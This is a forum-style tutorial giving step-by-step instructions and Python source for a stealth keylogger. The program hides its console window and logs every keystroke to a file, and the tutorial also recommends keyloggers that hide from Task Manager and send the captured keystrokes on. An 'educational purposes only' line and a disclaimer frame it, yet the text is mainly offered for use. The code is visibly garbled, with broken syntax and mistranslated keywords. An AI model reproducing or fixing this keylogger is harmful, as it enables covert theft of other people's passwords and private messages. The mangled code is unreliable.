How to create a keylogger!

As we all surely know, a keylogger is a program that can intercept everything the user types on the keyboard of your computer. And I suppose you know so well, precisely for this characteristic, the keylogger is software that does not always lend itself to use proper legal, so much so that now almost all have antivirus features to recognize the presence of a keylogger active in the background.

So the installation of a keylogger on a computer without the knowledge of the rightful owner, is configured as a real crime of violation of privacy: the intercepted data (chat sessions, usernames and passwords, email, ...) in fact are usually saved to a log file that the owner of the keylogger retrieve it later or even the are automatically sent via email.

Educational purposes only, we will see how we can create a simple keylogger fully functional, using the Python. Here are the steps to follow:

Download and install the necessary software:
Python 2.6:
Pyhook for Python 2.6:
Python for Windows Extensions:

From the Start menu, select "Python 2.6> PythonWin" to start the editor
From the menu select "File> New", then choose the "Python Script" and give "OK"
Paste the following source (attention to indentation)

import WIN32API 
 import win32console 
 import win32gui 

 import pythoncom, pyHook 

 win32console.GetConsoleWindow win = () 
 win32gui.ShowWindow (win, 0) 

 final OnKeyboardEvent (event): 
   if event.Ascii == 5: 
     _exit (1) 

  if event.Ascii! = 0 or 8: 
    f = open ( 'c: \ output.txt', 'r') 
    buffer = () 
    f.close () 
    f = open ( 'c: \ output.txt', 'w') 
    keylogs = chr (event.Ascii) 
    if event.Ascii == 13: 
      keylogs = '/ n' 
    buffer + = keylogs 
    f.write (buffer) 
    f.close () 

 hm = pyHook.HookManager () 
 hm.KeyDown = OnKeyboardEvent 
 hm.HookKeyboard () 
 pythoncom.PumpMessages () 
Save the file in c: \ as "," then by PythonWin type CTRL + R: the keylogger will come started in the background and will run until the log file "C: \ output.txt" anything that will typed on the keyboard.

Here is a list of some other free and good Keyloggers that work in background and without getting noticed even in the Task Manager, sends you the list of typed strokes.

These all work.

ANythat that may or may not happen to you is not my fault, you do this because you want to :D This can get you in trouble if you use it for bad reasons.
